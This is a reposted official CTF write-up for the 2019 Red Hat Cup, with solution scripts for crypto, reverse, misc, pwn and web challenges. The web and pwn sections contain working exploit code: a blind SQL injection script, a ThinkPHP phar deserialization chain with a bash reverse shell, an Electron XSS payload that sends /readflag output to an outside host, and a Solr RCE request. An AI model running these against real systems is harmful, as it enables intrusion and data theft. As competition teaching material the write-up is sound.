第三届红帽杯网络安全攻防大赛官方WP

原创

Harvey丶北极熊 于 2019-11-23 11:11:55 发布 2998 收藏 8

分类专栏： CTF

本文链接：https://blog.csdn.net/qq_38867330/article/details/103210597

11月11日上午9点，第三届红帽杯网络安全攻防大赛线上赛圆满结束！

本次线上赛比赛时长为24个小时，赛题包括web题目4道，pwn题目3道，crypto题目4道、reverse题目5道，misc题目4道，共计20道赛题，以下是本次线上赛的writeup（解题思路）：

精明的Alice

```
#!/usr/bin/sage -python
from sage.all import *
from Crypto.Util import number
from Crypto.PublicKey import RSA
from hashlib import sha256


Usernames = ['Alice', 'Bob', 'Carol', 'Dan', 'Erin']
A = sha256( b'Alice' ).hexdigest()

PKs = []
Ciphers = []
B = []
for i in range(4):
    name = Usernames[i+1]

    pk = open(name+'Public.pem', 'rb').read()
    PKs.append( RSA.importKey(pk) )

    cipher = open(name+'Cipher.enc', 'rb').read()
    Ciphers.append( number.bytes_to_long(cipher) )

    data = '{"from": "'+A+'", "msg": "'+'\x00'*95+'", "to": "'+sha256( name.encode() ).hexdigest()+'"}'
    B.append( number.bytes_to_long(data) )

PR = PolynomialRing(ZZ, 'x')
x = PR.gen()

Fs = []
for i in range(4):
    f =  PR( ( 2**608*x + B[i] )**PKs[i].e - Ciphers[i] )
    ff = f.change_ring( Zmod(PKs[i].n) )
    ff = ff.monic()
    f = ff.change_ring(ZZ)
    Fs.append(f)

F = crt( [ Fs[0]**2, Fs[1]**2, x*Fs[2], x*Fs[3] ], [ PKs[i].n for i in range(4) ] )

M = reduce( lambda x, y: x * y, [ PKs[i].n for i in range(4) ] )
FF = F.change_ring( Zmod(M) )

m = FF.small_roots(X=2**760, beta=7./8)[0]
print 'msg: ' + number.long_to_bytes(m)
```

Related

Franklin and Reiter 在 95 年提出了当 e=3 时的 linear protocol failure, 随后和 Coppersmith, Patarin 发布了 Low-exponent RSA with related messages(https://link.springer.com/chapter/10.1007/3-540-68339-9_1), 讨论了更一般化的情形。

题中 PRNG 的 State 线性相关, 并给出了初始状态下 State 的和, 据此可以构造同余方程组, 计算 Gtoebner Basis 解出初始状态获得 flag。

```
#!/usr/bin/sage -python
from Crypto.Util import number
from sage.all import *


N = 160849237602641690994843533179529793483618558609352561574020279833494570217676143321731540442069670152521051
091152899206856573945178791771034143484874773780252595897609962709093253717314338762898978743037334241151177760 4
259235904148205973770872139611825475677815243582169215482423688118215600080695840300550673289182355532480052893 4
757672719379501318525189471726279397236710401497352477683714139039769105043411654493442696289499967521222951945 8
232333718451108074699446023452930683465746302735398701161588175565235651990938745870972303141663652202907309373 8
098322859941413734149820596787018164037098140262736081225164 9
Cs = [106072354000985866999943925848418065920006608161913150089479177736054763658845720565446214668076362374158 9
319296693565159031223759836624752098666758017443823259169236989470242337708161382124134330709434357504203079356 4
118302488401888197517625333923710172738913771484628557310164974384462856047065486913046647133386246976457961265 1
153491030399468023868973151766332742954103719864220391067452162304011235428637143011147532398888204421125382851 9
487524319286269229085962578868642127623444567741128060626605205957974387484959481273319336340659440921463272243 8
592376518310171297234081555028727538951934761726878443311071990L, 266534807595283666545532335089184278193847137 2
943896177948046901127648217780657532963063228780230203325378931053293617434754585479452556620021360669764370971 6
656197434734636133916894027250536821692568508737527062523797477525520153413797025820404976071801728546523116494 6
787871442569867614221258838008036110052661442353376719674927474138025884290496814750803309181997904256033670356 4
128279527380969385330845759998657540777339113519036552454829323666242269607225156846084705957131127720351868483 3
751387730256022537835950071777126730924091576747209746537890397024317951686543870380802568383212553428487827057 8
5524911705L, 48812257138954141518306852592887409814246624002488970863651666438534099478186545096922992509609385 1
140017827641692966875774667950125404135479546862691619604001728079198523984906227378217987372473655219808321125 0
561192059448730545500442981534768431023858984817288359193663144417753847196868565476919041282010484259630583394 9
635804243587437543349568335983514245152298831480814924718742325554563620890239769297665303713208766519408552972 4
947443856480134916058427933033901246471619780622121676518015423394929799961801134267885487476976279291853450994 1
727751433687189532019000334342211838299512315478903418642056097679717L, 125344259734580612805730133780548362488 8
833519896616907611847413036270461976724774794310867662369514038416922212670967311642864523076076745747112965566 6
350250668322899568073246541508846438634287249068036901665547893655280767196856844375628177381351311387888843222 3
074482279907146780105793048675476584895817521032255739792570111392369721308257303067132871079747733060766300243 3
808112414220061211368885043505303850691290607997340320730924615619837185217770067199993712177276198489535421479 4
816482109585409321157303512805923676416467315573673701738450569247679912197730245013539724493780184952584813891 7
398371537767543 62L]
s = 280513550110197745829890567436265496990

e = 17
l = len(Cs)
PR = PolynomialRing( Zmod(N), 'x', l )
x = PR.gens()
f1 = (65537*x[0] - 66666*x[1] + 12345*x[2] - x[3])
f2 = x[0] + x[1] + x[2] - s
Fs = [f1, f2]
Fs.extend( [ (x[i]**e - Cs[i]) for i in range(l) ] )
I = Ideal(Fs)
B = I.groebner_basis()
m = ''
for b in B[:-1][::-1]:
    assert b.degree() == 1
    mi = ZZ( -b(0,0,0,0) )
    m += number.long_to_bytes(mi)
print m
```

Boom

```python
from pwn import *
from Crypto.Util.number import *
import string
from hashlib import sha256

#context.log_level = 'debug'

def proof():
    r.recvuntil('sha256(XXXX+')
    msg = r.recv(16)
    r.recvuntil(') == ')
    hsh = r.recv(64)
    found = iters.mbruteforce(lambda x:sha256(x+msg).hexdigest()==hsh, string.ascii_letters+string.digits, lengt
h = 4, method = 'fixed')
    r.sendlineafter('Give me XXXX:', found)

def send(msg, mode):
    if mode not in ['enc', 'dec', 'cmd']:
        return
    s = '/' + mode + ' '
    for i in msg:
        s += long_to_bytes(i, 8).encode('hex')
    r.sendline(s)

def recv():
    data = r.recvline().strip().decode('hex')
    if len(data) % 8 != 0:
        return
    d = []
    for i in range(len(data) // 8):
        m = data[8*i:8*(i+1)]
        d.append(bytes_to_long(m))
    return d

r = remote('127.0.0.1', 10000)
proof()
r.recvuntil('boom!!!\n\n')

send([0, 0], 'enc')
EE0 = recv()[1]

def enc(m):
    send([0, 0, m ^ EE0], 'enc')
    c = recv()[2]
    return c

E0 = enc(0)

def dec(c):
    send([0, c], 'dec')
    m = recv()[1] ^ E0
    return m

ls = bytes_to_long('ls')
E_ls = enc(ls)
send([E_ls], 'cmd')
print r.recv()

p0 = bytes_to_long('cat flag')
d = 0x0200000282808082
```

```
p1 = p0 ^ d
c1 = enc(p1)
c3 = c1 ^ d
p3 = dec(c3)
p2 = p3 ^ d
c2 = enc(p2)
c0 = c2 ^ d
send([c0], 'cmd')
print r.recv()

r.close()
```

Advertising for Marriage

1. 使用Volatility分析内存镜像，取出vegetable.png并提取出msspaint和notepad这两个进程的数据。

2. strings 查看notepad数据得到一半hint，另外一半用gimp调试画图进程的数据得到b1cx。

3. 再看提取出来的vegetable.png，发现剪贴板的内容，修改高度，得到图片，并没有flag。

4.尝试lsb解密，密钥为b1cxneedmoneyandgirlfirend，解出txt文件，内容为维吉尼亚密码，再次使用该密钥解密得到flag。

恶臭的数据包

1. 打开流量包，发现全是802.11协议的数据，尝试用aircrack-ng爆破密码，得到密码为12345678。

2. 得到密码之后用airdecap-ng解密数据包得到原始流量。

3. 发现流量里存在图片以及图片隐藏的flag.zip压缩包。

4. 解密jwt，解出token内容，之后了解到压缩包的密码为 ping过的域名。

5. 查看dns的解析记录得到密码为26rsfb.dnslog.cn,解密压缩包得到flag。

玩具车

根据题目给的资料，得知驱动型号是L298N，找到相应的使用手册和接线方式，理解每个控制信号的含义，这里列出具体条件，4个电机都是这样的，B通道的同理。

拿到波形，用Audacity查看，发现波形很有规律，单位都是1秒，工具可以分析出采样率为8000。

先转换成01序列，使用脚本readWave2Seq.py，然后可以得到每个端口的高低电平序列了。核心逻辑如下：

```
sample_rate, sig = wavfile.read(filename)
    seq = ""
    for i in range(0, len(sig), sample_rate):
        if sig[i] > 1000:
            seq += "1"
        else:
            seq += "0"
```

转换出来每个波形都对应一个01序列，挑一个对照一下，前4秒高电平，即1111

结合之前驱动的工作条件，组合每个端口电平状态，还原成车轮运动。例如：

有了每个轮子的运动状态，就能推断车子的运动了。下表对应的是每个车轮运动状态与整车的运动状态，以车头为正方向，前轮为轮12，后轮为34

最后使用turtle库来模拟小车运动，动作有

```
# 前进
turtle.forward(20)
turtle.backward(20)
# 旋转90°
turtle.left(90)
turtle.right(90)
```

运行solve.py，开始还原

在还原的时候值得注意的是使能端口En的状态，如果En为低，即使控制信号有，也是不会驱动电机。

如果选手没有注意到这一点，那么还原出来的路径就会混乱。

Three

1. 题目是静态编译切strip了符号表。
2. 先逆向或者是还原符号表。
   3.题目本身没有漏洞给了3个字节的shellocde执行空间，这个空间下能执行2个汇编指令左右。
3. 调试发现rdx会因为read的原因有残留在寄存器里，利用这个寄存器可以实施盲注，最后跑个循环就可以盲注出flag。

```python
from pwn import *
import sys
debug=1

#context.log_level='debug'
p=None
def ru(x):
    return p.recvuntil(x)

def se(x):
    p.send(x)

def sl(x):
    p.sendline(x)


def ccc(idx,q):
    global p
    if debug:
        p=process('./pwn')
        #gdb.attach(p)
    else:
        p=remote('172.29.2.106',9999)
    ru('Give me a index:')
    sl(str(idx))
    ru('Three is good number,I like it very much!')
    se('RX\xc3')
    ru('Leave you name of size:')
    sl(str(q))
    ru('Tell me:')
    se("peanuts")
    p.recvuntil("\n")
    data = ru("\n")
    p.close()
    if data[0]=='1':
        return True
    return False


flag = ''
charset ='{}_ '+ string.ascii_letters + string.digits + string.punctuation
for i in range(38):
    for q in charset:
        if  ccc(i,ord(q)+1):
            flag+=q
            print(flag)
            break
print flag
```

万花筒

1. c++的编译文件；
2. 先反编译pwn，还原程序结构；
3. llvm可以导入库函数，当def定义的函数有问题时，会引入同名库函数；
4. 引入mmap分配内存，read读入"/bin/sh"，system执行命令。

```python
from pwn import *

debug = 0
context.log_level="debug"

if debug:
    p = process("./toy")
    gdb.attach(p)
else:
    p = remote('192.168.5.130',8888)

p.sendlineafter(">","def mmap(start length prot flags fd offset) a;")
p.sendlineafter(">","def read(fd buf length) a;")
p.sendlineafter(">","def system(x) a;")
p.sendlineafter(">","mmap(1048576,4096,3,34,mmap(1048576,4096,3,34,3,0),0);")
p.sendlineafter(">","read(0,1048576,10);")
sleep(1)
p.sendlineafter(">","/bin/sh\0")
p.sendlineafter(">","system(1048576);")
p.interactive()
```

Calc

> 程序利用C++中的STL实现了大数运算，整个题目逻辑是输入大数a、b、c，经过一些（故意）复杂的计算，等价于a^3 + b^3 - c^3 == 42，要求 c > a > b，这个方程是前不久超级计算机计算出的三个大数，是丢番图方程的一个例子。
>
> (-80538738812075974)³+80435758145817515³+12602123297335631³=42
>
> 题目中大量的操作符重载，STL（主要是vector）的使用，在windows平台下难以看出逻辑，还有几个故意用作混淆的计算，Sleep(0x75BCD15u);这些Sleep直接nop掉。
>
> 关键计算逻辑如下：

· 输入abc， c>a>b

· 计算结果calc1 == (a+b)^3 - 3*ab**b* - 3*aa*b也就是$a^{3+b}3$

· 计算结果calc2==(4+c)^3 + 3*4cc* + *344*c也就是4^3 + c^3 - 22 ， 也就是c^3+42

· 这里是凑了一个64出来，是4的立方，用于凑立方和公式

本题需要很多动态调试进行尝试来猜测程序逻辑，如果对丢番图方程比较熟悉，单是解方程不会很慢，但因为是C++ STL，代码量很大，逆向难度比较高，预期比赛解题数量比较少。

解题：把Sleep和一大堆cout全部nop掉之后，输入

80435758145817515

12602123297335631

80538738812075974

会得到结果：

```
80435758145817515
12602123297335631
80538738812075974
You win!
flag{MD5("8043575814581751512602123297335631805387388120759 74").tolower()}
```

最终计算md5，得到flag{951e27be2b2f10b7fa22a6dc8f4682bd}

children

程序读入31个字符，先进行一些二叉树的变换。31个字符用于层次建立满二叉树，一共五层，再后序遍历，结果保存，记作result

将result的值作为参数放入函数UnDecorateSymbolName，这是MSVC++中关于名称解析的一个函数，目前没有找到它的“反函数”，也就是说这里求逆需要选手自行了解名称粉碎的规则，从而求逆。学习链接 https://www.cnblogs.com/victor-ma/p/4184806.html

第二步获得的结果长度为62，记作out

out的每一个字符分别除以23，模23，获得2个值，再去字符集set中，以这个值作为下标获得一个字符，存入2个结果数组中。详见源码（可逆）。

easyRE

1. 根据字符串进入main函数，一开始有一个简单的异或循环下标i的运算，简单求逆得到。
2. Info:The first four chars are `flag`
3. 前四个字符是flag
4. 然后再获取一个39长度的输出，作为一个函数的参数连续调用10次，根据码表特征很容易得出是base64，连续解密10次得到预期输入https://bbs.pediy.com/thread-254172.htm
5. 可以看到这是一篇看雪上讲 主动防御的文章，关键就是把破解者往沟里带，让破解者在解题的过程中以为自己不断地接近真相，但是最后却是假的flag
6. 本题设计思路是，先设计一条路线，本来这条路线存放了正确的flag，然后再把flag换成假的，再在一个隐蔽的路线放上真的flag。也就是文章中提到的国王换成了王后，这样可以先骗过自己再欺骗破解者。
7. 真正的flag逻辑在init和fini中，也就是main函数之前和之后。
8. init中获取一个时间t1，main结束，运行到fini时再获取一个时间t2，获得时间差t2-t1，然后将时间差作为随机数，反复获取随机数再作为种子并异或一个数值，最终会得到int型magic，将这个int数拆成4个char，用于分组异或enc[i%4]，最终如果获得25个dec字符，如果第一个和第四个对应是f和g，也就是flag的第一个和第四个字符。那么就会循环把这个字符串打印出来。
9. 这也正是题目一开始提示的。
10. Info:The first four chars are `flag`
11. 解题，直接反推出用于最后异或的整形magic，直接将enc的前四个字符异或flag即可得到，然后将这个magic拆成4个char，4个一组异或完25个enc字符即可得到真正的flag

```c
#include<stdio.h>
#include<stdlib.h>
#include<string.h>

int main() {
    char enc1[36] = {
        0x49,0x6f,0x64,0x6c,0x3e,0x51,0x6e,0x62,
        0x28,0x6f,0x63,0x79,0x7f,0x79,0x2e,0x69,
        0x7f,0x64,0x60,0x33,0x77,0x7d,0x77,0x65,
        0x6b,0x39,0x7b,0x69,0x79,0x3d,0x7e,0x79,
        0x4c,0x40,0x45,0x43
    };
    for (int i = 0; i < 36; i++) {
        printf("%c", enc1[i] ^ i);
    }
    printf("\n");

    unsigned char final_enc[25] = {
        0x40,0x35,0x20,0x56,0x5d,0x18,
        0x22,0x45,0x17,0x2f,0x24,0x6e,
        0x62,0x3c,0x27,0x54,0x48,0x6c,
        0x24,0x6e,0x72,0x3c,0x32,0x45,0x5b
    };
    unsigned char buf[4] = {
        'f' ^ final_enc[0],
        'l' ^ final_enc[1],
        'a' ^ final_enc[2],
        'g' ^ final_enc[3],
    };
    for (int i = 0; i < 25; i++) {
        printf("%c", buf[i % 4] ^ final_enc[i]);
    }
    printf("\n");

}
```

Snake

1. 运行游戏，用dnspy分析C#逻辑。
2. 发现表面上的代码一切都很正常，搜字符串也没有和flag有关的，慢慢看各个类，发现可疑的类Interface

3. 看函数名有点像Unity系统的一些东西，但实际上不是，对C#和C++混合编程熟悉的人会发现，这是C#调用C++函数的通用写法，实际上这是一个外部导入的.dll，由C++编写，按Unity的规则，dll被存放在附件游戏目录的Snake\Snake_Data\Plugins\Interface.dll
4. 下面看看这个可疑的类做了什么，它表面上含有6个函数，但实际上只有1个函数，即

```c
[DllImport("Interface", CallingConvention = CallingConvention.Cdecl)]
    public static extern int GameObject(int x, int y);
```

被调用了，在SnakeHead的Move函数的末尾，有一句

```c
Debug.Log(Interface.GameObject((int)base.gameObject.transform.position.x, (int)base.gameObject.transform.positio
n.y));
```

这个函数将蛇头在Unity中的绝对坐标(x,y)传入C++处理，接下来我们用IDA分析Interface.dll得到dll的逻辑，为清晰，下面用出题源码解释（源码见源码\SnakeCpp）

5. GameObject函数如下

```
XD_DLL_EXPORT_FN int GameObject(int eee, int ddd)
{
    if (eee < 0)
    {
        BigInt fake_flag("352979820451819523508133238132248832085720492265869 80");
        string sfake_flag = temp == "null" ? temp = FromInt(fake_flag) : temp;
        cout << "If SKT win S9 champion" << "this is real flag" << endl;
        cout << sfake_flag << endl;
        return -1;
    }
    else if (eee > 1 && eee < 100)
    {
        BigInt N("139907262641720884635250105449327463531131227516500497307311002094885245322386805049406878643982216326493527702414689439930090794753345844178528356178539094825247389836142928474607108262267087850211322640806135698076207986818086837911361480181444157057782599277473843153161174504240064610043962720953514451563");
        BigInt s("799818564908569998506717003607331208319999955894212074604901858765318605185275977679051680991828913451238789664035480226469563651588642094676148502517318066820373007125111856811648651741875869077071954288042347396677697420787931626398679220561946889175693693380053273099736805735811587542976306541058823824 26");
        BigInt e(to_string(eee));
        BigInt c = mod_fast(s, e, N);
        string str = FromInt(c);
        if (StartWith(str, "flag"))
        {
            cout << "You win! flag is " << endl;
            cout << str << endl;
        }
        else
        {
            cout << "Try again" << endl;
        }
        return 7;
    }
    else if (eee > 100 && eee < 200)
    {
        BigInteger N("139907262641720884635250105449327463531131227516500497307311002094885245322386805049406878643982216326493527702414689439930090794753345844178528356178539094825247389836142928474607108262267087850211322640806135698076207986818086837911361480181444157057782599277473843153161174504240064610043962720953514451563");
        BigInteger s("122107611316850260321590575768393047216806481837919054910332579385088745494833866045797079936947058335743437609060618364037361749600119005166359303873659401522100249312696661209787316369738806133852177861917757996075304470648951037632182891401322685617735478597953000103146149534977902885706852338811895661809");
        BigInteger e(to_string(eee));
        BigInteger c = s.modPow(e, N);
        if (c.equals(BigInteger("7777777")))
        {
            cout << "EDG fight for S10" << endl;
            cout << "You fight for the next snake" << endl;
        }
        else
        {
            cout << "EDG failed to fight for their S9" << endl;
            cout << "But you can fight for next snake" << endl;
        }
    }
    return 996;
}
```

观察发现
· eee < 0时，是假flag逻辑，FromInt(fake_flag)的结果是fake_flag{f1@g_1$_N0t_H3re}
· 1 < eee < 100时，是一个RSA的解密过程，用eee转BigInt，作为公钥e，解密被私钥加密过的s，大数为N，即 c = (s^e)mod N，再将调用FromInt©，存入str，如果str的开头子串是flag，那么就说明解密对了，str就是最后的flag
· 100 < eee < 200时，也不是正确逻辑，用的大数类是BigInteger，构造函数接受16进制字符串，解不出flag，而1 < eee <100时，用的大数类是BigInt，构造函数接受10进制字符串，可以解出flag

> 分析BigInt类和BigInteger类这里就不介绍了，两个类都是表示大整数的类，BigInt底层拿string表示，BigInteger拿vecotr+大进制表示，用作RSA的底层，内部运算函数都是正确的，没有挖坑，唯一要注意的是由于大数底层并非高效实现，支持不了特别大数的模幂运算，如果在动态调试的时候将GameObject(int eee, int ddd)的eee参数改成进入1<eee<100和100<eee<200的分支，程序会在计算BigInteger c = s.modPow(e, N)时花很久很久的时间，游戏直接卡住。
>
> 分析GameObject函数中调用的FromInt函数.

```
//将大数n按 8bit 拆分，转char组成字符串
inline string FromInt(BigInt n)
{
    string str;

    if (n.flag == false)
    {
        str = "0";
    }
    else
    {
        while (n.values != "0")
        {
            BigInt m = n % BigInt("255");
            n = n / BigInt("255");
            str = (char)atoi(m.values.data()) + str;
        }
    }

    return str;
}
```

FromInt函数将大数n转为string，规则为：将大数n的每8bit转为char，然后拼入str，str的低位对应n的低位，str的高位对应n的高位。
解题：根据上面分析，只要对1 < eee <100的情况进行爆破就行了。
exp：

```
N =139907262641720884635250105449327463531131227516500497307311002094885245322386805049406878643982216326493527702414689439930090794753345844178528356178539094825247389836142928474607108262267087850211322640806135698076207986818086837911361480181444157057782599277473843153161174504240064610043962720953514451563

s=799818564908569998506717003607331208319999955894212074604901858765318605185275977679051680991828913451238789664035480226469563651588642094676148502517318066820373007125111856811648651741875869077071954288042347396677697420787931626398679220561946889175693693380053273099736805735811587542976306541058823824 26

str = ""

def FromInt(num):
    str = ""
    while num != 0:
        n = (int)(num % 255)
        c = chr(n)
        num = (int)(num // 255)
        str = c + str
    return str

for e in range(1, 100):
    num = pow(s, e, N)
    flag = FromInt(num)
    if flag.startswith("flag") == True:
        print(flag)
```

xx

1. 输入19长度的字符串，xxtea加密，密钥是输入的字符串的前四个字符，同时要求前四个字符在一个字符集set中，生成结果后下标变换，最后进入一个比较特殊的但是仍然可逆的异或算法，要求和数组相等。
2. 解题：先将toCheck（所有加密后的结果）逆回异或前的结果，再进行下标变换，最终爆破set中取出的4字符key，try: 解密，如果解密后的明文的前四个字符==key(四字符)，就得到了flag.

```
#include "stdint.h"
#include "string.h"
#include "stdio.h"
#define DELTA 0x9e3779b9
#define MX (((z>>5^y<<2) + (y>>3^z<<4)) ^ ((sum^y) + (key[(p&3)^e] ^ z)))

void btea(uint32_t* v, int n, uint32_t const key[4]) {
    uint32_t y, z, sum;
    unsigned p, rounds, e;
    if (n > 1) {          /* Coding Part */
        rounds = 6 + 52 / n;
        sum = 0;
        z = v[n - 1];
        do {
            sum += DELTA;
            e = (sum >> 2) & 3;
            for (p = 0; p < n - 1; p++) {
                y = v[p + 1];
                z = v[p] += MX;
            }
            y = v[0];
            z = v[n - 1] += MX;
        } while (--rounds);
    }
    else if (n < -1) {  /* Decoding Part */
        n = -n;
```

```
        rounds = 6 + 52 / n;
        sum = rounds * DELTA;
        y = v[0];
        do {
            e = (sum >> 2) & 3;
            for (p = n - 1; p > 0; p--) {
                z = v[p - 1];
                y = v[p] -= MX;
            }
            z = v[n - 1];
            y = v[0] -= MX;
            sum -= DELTA;
        } while (--rounds);
    }
}
unsigned char res[24] = { 0xce,0xbc,0x40,0x6b,0x7c,0x3a,0x95,0xc0,0xef,0x9b,0x20,0x20,0x91,0xf7,0x02,0x35,0x23,0
x18,0x02,0xc8,0xe7,0x56,0x56,0xfa };
unsigned char set[37] = "qwertyuiopasdfghjklzxcvbnm1234567890";

int main() {
    unsigned char tmp[25] = { 0 };
    unsigned char cipher[25] = { 0 };
    unsigned char key[17] = { 0 };

    for (int i = 23; i > 0; i--) {
        for (int j = 0; j < i / 3; ++j) {
            res[i] ^= res[j];
        }
    }
    for (int k = 0; k < 6; ++k) {
        tmp[4 * k + 2] = res[4 * k + 0];
        tmp[4 * k + 0] = res[4 * k + 1];
        tmp[4 * k + 3] = res[4 * k + 2];
        tmp[4 * k + 1] = res[4 * k + 3];
    }
    for (int i0 = 0; i0 < 36; ++i0) {
        printf("%d\n", set[i0]);
        for (int i1 = 0; i1 < 36; ++i1) {
            for (int i2 = 0; i2 < 36; ++i2) {
                for (int i3 = 0; i3 < 36; ++i3) {
                    key[0] = set[i0]; key[1] = set[i1]; key[2] = set[i2]; key[3] = set[i3];
                    memcpy(cipher, tmp, 24);
                    btea((unsigned int*)cipher, -6, (unsigned int*)key);
                    if (cipher[0] == set[i0] && cipher[1] == set[i1] && cipher[2] == set[i2] && cipher[3] == set
[i3]) {
                        printf("%s", cipher);
                        printf("%s", key);
                    }
                }
            }
        }
    }
}
```

easyweb

存在sql注入，注入点：

```
/?s=/Api/Lt/gbooklist&orderby=if(ascii(substr((select%20flaag%20from%20fl4g),{},1))={},sleep(6),1)%23
```

注入脚本：

```
import requests
import sys
import string
flag = ''
url = sys.argv[1]
url = url.rstrip('/')
url = url+'?s=/Api/Lt/gbooklist&orderby=if(ascii(substr((select flaag from fl4g),{},1))={},sleep(6),1)%23'
for i in xrange(1,50):
    for j in xrange(45,127):
        try:
            a = requests.get(url.format(i,j),timeout=3)
        except:
            flag+=chr(j)
            print flag
```

Ticket—System

1. 随便登录一个用户，在填写 Ticket 上传的地方发现有 xxe 漏洞。

2. 根据首页源代码提示：

```
<!-- hint in /hints.txt -->
    <!-- Not the web root directory. In the ystem root directory-->
```

```
尝试读取 hints.txt
```

You’r clever. But not enough. Try RCE!
发现 404 □面提示为 thinkphp 系统

3.挖掘 Thinkphp pop 链，可用 phar 反序列化.
exp：

```
<?php
namespace think\process\pipes {
    class Windows
    {
        private $files;
        public function __construct($files)
        {
            $this->files = array($files);
        }
    }
}

namespace think\model\concern {
    trait Conversion
    {
        protected $append = array("Zedd" => "1");
    }

    trait Attribute
```

```
    {
        private $data;
        private $withAttr = array("Zedd" => "system");

        public function get($system)
        {
            $this->data = array("Zedd" => "$system");
        }
    }
}
namespace think {
    abstract class Model
    {
        use model\concern\Attribute;
        use model\concern\Conversion;
    }
}

namespace think\model{
    use think\Model;
    class Pivot extends Model
    {
        public function __construct($system)
        {
            $this->get($system);
        }
    }
}

namespace {
    $Conver = new think\model\Pivot("bash -c 'sh >& /dev/tcp/一个IP/2015 0>&1'");
    $payload = new think\process\pipes\Windows($Conver);
    ini_set('phar.readonly',0);
    @unlink("phar.phar");
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); //设置stub
    $phar->setMetadata($payload); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
    rename('phar.phar','phar.xml');
}
?>
```

4. 上传文件拿到存放路径后，发送 payload 触发反序列化

5.收到反弹的 shell，执行 /readflag 拿到 flag.

iCloudMusic

1. 首先寻找XSS,XSS的点很清晰就是`js_to_run`处的动态拼接js,header处用url.parse处理url.
2. fuzz所有unicode可以发现`\uff07`可以逃逸出单引号，因此只需要发送如下的url即可XSS.

```
http://www.baidu.com' } **/;eval(String.fromCharCode(111,112,101,110,40,39,104,116,116,112,58,47,47,120,120,120,120,46,99,111,109,37,69,70,37,66,67,37,56,55,59,37,48,48,63,59,99,117,114,108,36,73,70,83,36,57,104,116,116,112,58,47,47,49,50,48,46,55,57,46,49,56,46,49,55,49,58,53,53,53,53,47,36,40,47,114,101,97,100,102,108,97,103,41,59,35,47,97,115,100,97,115,100,97,115,100,37,48,48,37,49,48,39,41))//
```

3. 查看源码可以发现main.js中拦截了new-window事件，如果openExternal失败后会执行命令打开url,然而electron的window.open 默认通过浏览器a标签来处理，因此这里有两个解题思路:

1. 原形链污染覆盖a标签的getter.

```
var f=document.createElement('a');
f.__proto__.__defineGetter__('href',function(){return "http://xxxx.com' %3B%00/?;$(open$IFS$9-a$IFS$9Calculator)
;#/asdasdasd%00%10"});
window.open('http://www.baidu.com');
```

2. 用一个更宽的字节。

```
open("http://xxxx.com%EF%BC%87;%00?;$(open$IFS$9-a$IFS$9Calculator);#/asdasdasd%00%10")
```

Bank—service

1. 打开网页后，查看源码可发现通过socket.io建立socket连接与后端交互。
2. 交互提示后台使用solr提供搜索服务，联系websocket猜测可能是websocket-smuggle
3. 访问/solr提示403，于是□用websocket-smuggle访问发现可正常访问。
4. 尝试命令执行行，无法外带，只能构造回显，参考 https://paper.seebug.org/1009/ ，可以尝试利用ContentStreamDataSource 构造回显，seebug的paper中没有给出poc因此需要参考solr文档构造回显。
   exp：

```
import socket

req1 = '''GET /socket.io/?transport=websocket HTTP/1.1
Host: localhost:80
Sec-WebSocket-Version: 1337
Upgrade: websocket

'''.replace('\n', '\r\n')


req2 = '''POST /solr/mail/dataimport?dataConfig=%3CdataConfig%3E%0A%3CdataSource%20name%3D%22streamsrc%22%20type
%3D%22ContentStreamDataSource%22%20loggerLevel%3D%22TRACE%22%20/%3E%0A%3Cscript%3E%3C%21%5BCDATA%5B%0A%20%20%20
20%20%20%20%20%20%20function%20poc%28row%29%7B%0A%20%20%20%20%20%20%20%20var%20j%3Dnew%20java.io.BufferedReader%
28new%20java.io.InputStreamReader%28java.lang.Runtime.getRuntime%28%29.exec%28%22/readflag%22%29.getInputStream%
28%29%29%29%3B%0A%20%20%20%20%20%20%20%20var%20line%3Dj.readLine%28%29%3B%0A%20%20%20%20%20%20%20%20var%20res%3D
%22%22%3B%0A%20%20%20%20%20%20%20%20while%28line%21%3Dnull%20%26%26%20line%21%3Dundefined%29%7B%0A%20%20%20%20%2
0%20%20%20%20%20%20%20%20res%3Dres%2Bline%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20line%3Dj.readLine%28%29%3B%0A%20
%20%20%20%20%20%20%20%7D%0A%09%09row.put%28%22title_s%22%2Cres%29%3B%0A%09%09return%20row%3B%0A%09%7D%0A%20%20%5
D%5D%3E%3C/script%3E%0A%3Cdocument%3E%0A%20%20%20%20%3Centity%0A%20%20%20%20%20%20%20%20%20%20stream%3D%22true%22%0A%2
```

```
0%20%20%20%20%20%20%20name%3D%22streamxml%22%0A%20%20%20%20%20%20%20%20datasource%3D%22streamsrc1%22%0A%20%20%20
%20%20%20%20%20processor%3D%22XPathEntityProcessor%22%0A%20%20%20%20%20%20%20%20rootEntity%3D%22true%22%0A%20%20
%20%20%20%20%20%20forEach%3D%22/books/book%22%0A%20%20%20%20%20%20%20%20transformer%3D%22script%3Apoc%22%20%3E%0
A%20%20%20%20%20%20%20%20%20%20%20%20%3Cfield%20column%3D%22res_s%22%20template%3D%22some%20static%20payload%22/
%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%3Cfield%20column%3D%22title_s%22%20xpath%3D%22/books/book/name%22/%3E
%0A%20%20%20%20%3C/entity%3E%0A%3C/document%3E%0A%3C/dataConfig%3E&command=full-import&debug=true HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-type: application/xml
X-Requested-With: XMLHttpRequest
Content-Length: 135
Connection: close
Referer: http://localhost:8983/solr/
Cookie: csrftoken=gzcSR6Sj3SWd3v4ZxmV5OcZuPKbOhI6CMpgp5vIMvr5wQAL4stMtxJqL2sUE8INi; sessionid=snzojzqa5zn187oghf
06z6xodulpohpr

<?xml version="1.0" encoding="utf-8"?>
<books>
 <book>
 <name>NAME1</name>
 </book>
 <book>
<name>NAME2</name>
</book>
</books>
'''.replace('\n', '\r\n')


def main(netloc):
    host, port = netloc.split(':')

    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((host, int(port)))

    sock.sendall(req1)
    data=sock.recv(4096)
    print data
    print '[+]connection finished'
    print req2
    sock.sendall(req2)
    data = sock.recv(409600)
    data = data.decode(errors='ignore')

    print data

    #sock.shutdown(socket.SHUT_RDWR)
